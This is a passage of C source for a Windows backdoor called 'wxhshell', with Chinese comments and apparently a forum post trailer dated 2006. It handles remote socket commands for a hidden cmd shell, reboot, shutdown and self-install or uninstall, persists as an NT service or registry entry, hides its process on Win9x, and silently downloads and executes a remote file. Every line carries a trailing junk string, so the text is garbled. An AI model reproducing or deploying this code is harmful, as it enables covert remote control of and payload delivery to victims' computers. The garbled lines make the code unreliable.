      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '25zb+ -  
    break; M4E==  
  } Vs(D(d,  
  // 安装 ORFi0gFbA  
  case 'i': { q0(-"}2l  
    if(Install()) yD Avl+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6NGQU%Hd  
    else C@ "l"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Tw A?kj  
    break; _g6H&no[  
    } k]S`A,~  
  // 卸载 .5iXOS0 G  
  case 'r': { yH]w(z5Z  
    if(Uninstall()) 8r48+_y3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0r]-Ltvl?}  
    else 0[ZwtfL1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U\dLq&=V  
    break; Ie4X k  
    } bDnT><eH  
  // 显示 wxhshell 所在路径 Wo6C0Z3g}  
  case 'p': { I|_U|H!`  
    char svExeFile[MAX_PATH]; ,$"T/yYer  
    strcpy(svExeFile,"\n\r"); &"clBR Vg  
      strcat(svExeFile,ExeFile); j4$NQ]e^4  
        send(wsh,svExeFile,strlen(svExeFile),0); -P28pVX`  
    break; A#nSK#wS61  
    } 7e6; |?  
  // 重启 8^hbS%s!  
  case 'b': { ]wEFm;N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *OHaqe(*  
    if(Boot(REBOOT)) u >[hLXuB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '[Bok=$B)  
    else { h&x;#.SYK  
    closesocket(wsh); LT]YYn($  
    ExitThread(0); IQ5'4zQg=  
    } r_pZK(G%  
    break; O]G3l0  
    } }ssL;q  
  // 关机 F,@uYMQs  
  case 'd': { wQ '_, d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F\-oZ#g  
    if(Boot(SHUTDOWN)) `}~NZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FH7l6b,^  
    else { 9HZR%s[J  
    closesocket(wsh); dI~{0)s  
    ExitThread(0); +lw1v  
    } l42tTD8Awz  
    break; \!zM4ppr  
    } ^-%O  
  // 获取shell 8!qzG4F/  
  case 's': { Og2G0sWRf  
    CmdShell(wsh); '(SqHP|8&g  
    closesocket(wsh); \{a 64  
    ExitThread(0); kD#hfYs)i  
    break; 1!A 'mkk8  
  } fDKV`  
  // 退出 #* Iyvx  
  case 'x': { )J1xO^tE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SFVqUg3"Z  
    CloseIt(wsh); E$s?)  
    break; ,XsBm+Q(  
    } ]".SW5b_  
  // 离开 7? qRz  
  case 'q': { sYd)r%%AU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d1u6*&@lf  
    closesocket(wsh); 7xCm"jgP  
    WSACleanup(); y hNy  
    exit(1); 5wa!pR\c  
    break; IV|})[n*  
        } c:`CL<xzU  
  } >?r8D48`  
  } $uYfy<  
0[7tJbN  
  // 提示信息 !^qpV7./l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lnt}l  
} #BhcW"@  
  } U] av{}U  
M6z$*? <  
  return; Imz1"+E~  
} C ,#D4  
sdXZsQw  
// shell模块句柄 FXFyF*w2  
int CmdShell(SOCKET sock) 1_5]3+r_U-  
{ b}Wm-]|+  
STARTUPINFO si; husk\  
ZeroMemory(&si,sizeof(si)); q82yh&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H1hADn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z1R{'@Y0Z  
PROCESS_INFORMATION ProcessInfo; aa/_:V@$~  
char cmdline[]="cmd"; ,W5!=\Gg(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z;Dc#SZnO(  
  return 0; lBNB8c0e"{  
} .t$1B5  
"T' QbK0  
// 自身启动模式 [ Ru ( H  
int StartFromService(void) D[<~^R;*  
{ epxbTJfc  
typedef struct bs?&;R.5  
{ 2;`WI:nt  
  DWORD ExitStatus; DQ%(X&k  
  DWORD PebBaseAddress; 5@`dKFB5  
  DWORD AffinityMask; $Sc;  
  DWORD BasePriority; *m:'~\[u  
  ULONG UniqueProcessId; `W'S'?$  
  ULONG InheritedFromUniqueProcessId; mLH,6rO9  
}   PROCESS_BASIC_INFORMATION; x1`zD*{  
E\*M4n\!  
PROCNTQSIP NtQueryInformationProcess; @_Es|(4  
& eWnS~hJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #EIcP=1m4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xv 0y?#`z  
P7 R}oO_n:  
  HANDLE             hProcess; Q=F^Y f  
  PROCESS_BASIC_INFORMATION pbi; iB3C.wd-  
6(V"xjK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )* Rr5l /l  
  if(NULL == hInst ) return 0; ivJTE  
VMJK9|JC[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~A,(D-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GLa_[9 "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KKM!($A  
R|R3Ob.e  
  if (!NtQueryInformationProcess) return 0; {h~<!sEX  
Y&1Yc)*O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p9j2jb,qy  
  if(!hProcess) return 0; lfyij[6q+  
x(y=.4Yf+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TZw['o  
lCJ/@)  
  CloseHandle(hProcess); A4f;ftB  
gv/yfiA?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RKwuvVI  
if(hProcess==NULL) return 0; e/F+Tf  
R/kfbV-b  
HMODULE hMod; `{'h+v`  
char procName[255]; C&&33L  
unsigned long cbNeeded; /[UuHU5*R  
#gRtCoew  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .MW/XnCYs4  
]QmY`pTB`  
  CloseHandle(hProcess); 1owe'7\J  
Ct386j><  
if(strstr(procName,"services")) return 1; // 以服务启动 ]vq=~x  
~uh,R-Q$  
  return 0; // 注册表启动 -ei+r#  
} tq2Ti Xo%  
-59;Zn/  
// 主模块 ;  8u5  
int StartWxhshell(LPSTR lpCmdLine) uEDvdd#V.  
{ l8RKwECdPn  
  SOCKET wsl; I0(nRu<  
BOOL val=TRUE; VpWpC&  
  int port=0; `&g1`vg  
  struct sockaddr_in door; Cp^%;(@  
iK9#{1BpML  
  if(wscfg.ws_autoins) Install(); og8"#%  
+3o 4KB}  
port=atoi(lpCmdLine); !l~3K(&4  
i 2n66d  
if(port<=0) port=wscfg.ws_port; +M.!_2t$2  
'T*h0xX  
  WSADATA data; ~0Xx]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zmh5x{US1  
},vVc/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P*9L3R*=N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #4ii!ev  
  door.sin_family = AF_INET; QS2~}{v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]hlYmT  
  door.sin_port = htons(port); A?Gk8  
S")*~)N@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YveNsn  
closesocket(wsl); 6Y/TqI[   
return 1; |n\(I$  
} psB9~EU&Q  
=pn(56  
  if(listen(wsl,2) == INVALID_SOCKET) { `sJv?  
closesocket(wsl); n^k Uu2g|  
return 1; W0KSLxM  
} eLyaTOZadu  
  Wxhshell(wsl); rI4N3d;C  
  WSACleanup(); _43 :1!os  
3R ZD=`  
return 0; znu [i&\=  
i`" L?3T  
} yMBFw:/o  
(Q ~<>  
// 以NT服务方式启动 ZIvP?:=!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6D1tRo  
{ {b90c'8?a  
DWORD   status = 0; 't un;Y  
  DWORD   specificError = 0xfffffff; p$bR M`R&s  
;Ak 6*Sr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dJUI.!hv;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `&qeSEs\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?\Lf=[  
  serviceStatus.dwWin32ExitCode     = 0; c9axzg UA  
  serviceStatus.dwServiceSpecificExitCode = 0; n]J;BW& Av  
  serviceStatus.dwCheckPoint       = 0; 7wwlZ;w  
  serviceStatus.dwWaitHint       = 0; !-Md+I_  
=Btmi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c`4i#R  
  if (hServiceStatusHandle==0) return; 4@*`V  
MU5#ph  
status = GetLastError(); R9O[`~BA2  
  if (status!=NO_ERROR) il >XV>  
{ rklK=W z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b2HHoIT  
    serviceStatus.dwCheckPoint       = 0; L+ d4&x  
    serviceStatus.dwWaitHint       = 0; Y<9Lqc.i  
    serviceStatus.dwWin32ExitCode     = status; 4z^5|$?_ta  
    serviceStatus.dwServiceSpecificExitCode = specificError; xgv&M:%D-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h6C:`0o  
    return; Kgu#M i~  
  } - ]Mp<Y  
IL N0/eH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p/.[ cH  
  serviceStatus.dwCheckPoint       = 0; AcxC$uh  
  serviceStatus.dwWaitHint       = 0; ro*$OLc/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O7GJg;>?  
} Hp?uYih0  
8cv[|`<  
// 处理NT服务事件,比如:启动、停止 a0[Mx 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %!QY:[   
{ </7_T<He.  
switch(fdwControl) ^ G@o} Z  
{ ZsepTtY  
case SERVICE_CONTROL_STOP: M>"J5yqR  
  serviceStatus.dwWin32ExitCode = 0; 8nOent0a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {\zB'SNq  
  serviceStatus.dwCheckPoint   = 0; Jb"0P`senY  
  serviceStatus.dwWaitHint     = 0; yZDS>7H  
  { Aq"<#:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 30nR2mB Kt  
  } wf=M| #}_  
  return; 3rQ;}<*M  
case SERVICE_CONTROL_PAUSE: g7nqe~`{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6qzyeli  
  break; ql c{k/ u  
case SERVICE_CONTROL_CONTINUE: =pR'XF%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k&8&D  
  break; ]0&ExD\4  
case SERVICE_CONTROL_INTERROGATE: /E0/)@pDq  
  break; )#_:5^1  
}; qLh[BR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (L7@ez  
} Z=\wI:TY1  
@8qo(7<~Q  
// 标准应用程序主函数 IL2OVLX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J|GEt@o3  
{ NgPY/R>  
sQ8_j  
// 获取操作系统版本 (&t8.7O  
OsIsNt=GetOsVer(); ]@bu%_s"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FW7@7cVoF  
lL{1wCsl  
  // 从命令行安装 O9(6?n  
  if(strpbrk(lpCmdLine,"iI")) Install(); #K _E/~  
zM*PN|/%sH  
  // 下载执行文件 CH3bpZv  
if(wscfg.ws_downexe) { " .:b43Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `SGI Qrb  
  WinExec(wscfg.ws_filenam,SW_HIDE); ($A0u mW1%  
} Zo(p6rku  
Q( \2(x\  
if(!OsIsNt) { _ZU.;0  
// 如果时win9x,隐藏进程并且设置为注册表启动 #+]-}v3  
HideProc(); Fi!XaO  
StartWxhshell(lpCmdLine); ss>p  
} |g}~7*+i  
else js<}>wD7<  
  if(StartFromService()) Msea kF  
  // 以服务方式启动 r%DaBx!x8  
  StartServiceCtrlDispatcher(DispatchTable); cf ~TVa)M  
else =ijVT_|u0  
  // 普通方式启动 )RE~=*?d  
  StartWxhshell(lpCmdLine);  /i  
)zoO#tX  
return 0; / %:%la%  
}
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只看该作者 1 发表于: 2006-10-10
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